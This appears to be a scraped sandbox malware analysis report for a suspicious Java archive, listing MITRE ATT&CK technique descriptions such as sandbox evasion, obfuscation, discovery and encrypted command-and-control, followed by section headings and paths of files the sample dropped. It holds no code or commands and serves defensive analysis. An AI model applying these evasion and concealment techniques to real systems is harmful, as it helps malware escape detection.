Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to gather information about attached peripheral devices and components connected to a computer system.Peripheral devices could include auxiliary resources that support a variety of functionalities such as keyboards, printers, cameras, smart card readers, or removable storage. The information may be used to enhance their awareness of the system and network environment or may be used for further actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 23-April-24-ACH-7fa67756.jar

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

System Summary

Snort Signatures

Joe Sandbox Signatures

Compliance

Spreading

Software Vulnerabilities

Networking

DDoS

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Config.Msi\46f336.rbs

C:\ProgramData\Oracle\Java\.oracle_jre_usage\b5820291038aa69c.timestamp

C:\ProgramData\lgp\sjm

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_y2sljm0c.nhc.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_yp3c1nj5.x2f.ps1

C:\Users\user\AppData\Local\Temp\hsperfdata_user\6152

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDesusertions\590aee7bdd69b59b.customDesusertions-ms (copy)

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDesusertions\YBK27W652F4IJAVOUCH5.temp

C:\Windows\Installer\46f335.msi

C:\Windows\Installer\46f337.msi

C:\Windows\Installer\MSIF45E.tmp

C:\Windows\Installer\SourceHash{5388A5D6-8B37-4242-B64C-4D72F236B407}

C:\Windows\Installer\inprogressinstallinfo.ipi

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log

C:\Windows\Temp\~DF038DB82E145104A8.TMP

C:\Windows\Temp\~DF165C3EF9705925E4.TMP

C:\Windows\Temp\~DF2B96C09185FA214E.TMP

C:\Windows\Temp\~DF32A04107112E9A4B.TMP

C:\Windows\Temp\~DF3D7219F5911854F7.TMP

Windows Analysis Report
23-April-24-ACH-7fa67756.jar